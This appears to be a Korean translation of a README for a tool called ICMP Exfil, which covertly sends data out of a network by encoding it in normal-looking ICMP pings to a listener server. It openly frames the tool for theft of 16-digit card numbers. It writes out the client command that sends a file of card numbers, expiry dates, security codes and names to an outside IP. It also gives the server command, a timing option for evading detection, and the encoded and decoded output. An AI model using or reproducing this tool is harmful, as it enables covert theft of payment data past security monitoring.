
ICMP를 이용한 데이터 유출
ICMP Exfil을 사용하면 유효한 ICMP 패킷을 통해 데이터를 전송할 수 있습니다. 클라이언트 스크립트를 사용하여 유출하려는 데이터를 전달하면, 전송 대상 장치에서 서버를 실행합니다. 사람이든 보안 시스템이든 누가 보더라도 유효한 ICMP 패킷만 보일 뿐, 패킷 구조에 악의적인 요소는 없습니다. 데이터가 ICMP 패킷 내부에 숨겨져 있는 것도 아니므로, 패킷을 살펴봐도 무엇이 유출되었는지 알 수 없습니다.

Martino Jones, martinojones.com.
현재 제가 추가한 지원은 ASCII 문자뿐입니다. ASCII 문자(예: 문자와 숫자)로 표현할 수 있는 모든 것을 유출할 수 있습니다. 예를 들어, 멋진 16자리 숫자들을 빌려왔다면, 클라이언트 스크립트를 사용하여 ./ping.py --ascii "4111111111111111"와 같이 해당 숫자들을 서버로 전달할 수 있습니다.
서버를 보낼 대상 IP를 설정하는 두 가지 옵션이 있습니다. --ip를 사용하거나 ipToPing이라는 스크립트에서 기본 IP를 설정할 수 있습니다.
조금 더 인내심을 가지고 데이터 전송을 알아차리기 어렵게 만들고 싶다면 --wait을 사용하여 최소 시간 + 데이터 전송에 소요될 시간을 지정할 수 있습니다. 이 기능은 아직 작업 중입니다... 따라서 변환 작업을 직접 해야 하지만, 제가 추가하는 데 오래 걸리지는 않을 것입니다. 또한 대부분의 사람과 보안 시스템이 아직 이를 감지하지 못하기 때문에 큰 문제는 아닙니다.
핑이 전송되는 것을 보고 싶다면 --show를 사용할 수 있습니다.
서버를 시작하려면 sudo python3 server.py를 실행하면 됩니다. 다른 작업은 필요하지 않습니다. 작업이 끝나면 Control+C를 누르면 됩니다. 현재 서버는 개선이 필요합니다. 데이터를 수신한 대상에 따라 입력을 매핑해야 하는데, 현재는 한 클라이언트만 서버에 핑을 보내는 상태로 테스트했습니다. 물론 이 부분을 조정해야 합니다. 기본 작업은 이미 되어 있으므로, 나머지 부분만 정리하면 됩니다.
멋진 16자리 숫자들로 가득한 데이터베이스를 발견했습니다. 추가 연구를 위해 저장해야 하므로 file이라는 파일에 저장합니다.
명령어:./ping.py --ip 1.2.3.4 --asciiFile file
파일 내용: 4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe
인코딩된 데이터: ['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010']
서버:
오프셋 계산 중
4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2 0 1 / 1 5 4 5 6 M a r t i n o J o n e s | 4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2 0 3 / 1 6 2 3 6 M a r t i n o J o e
도움을 주시려면 추가해야 할 여러 가지 사항이 있습니다: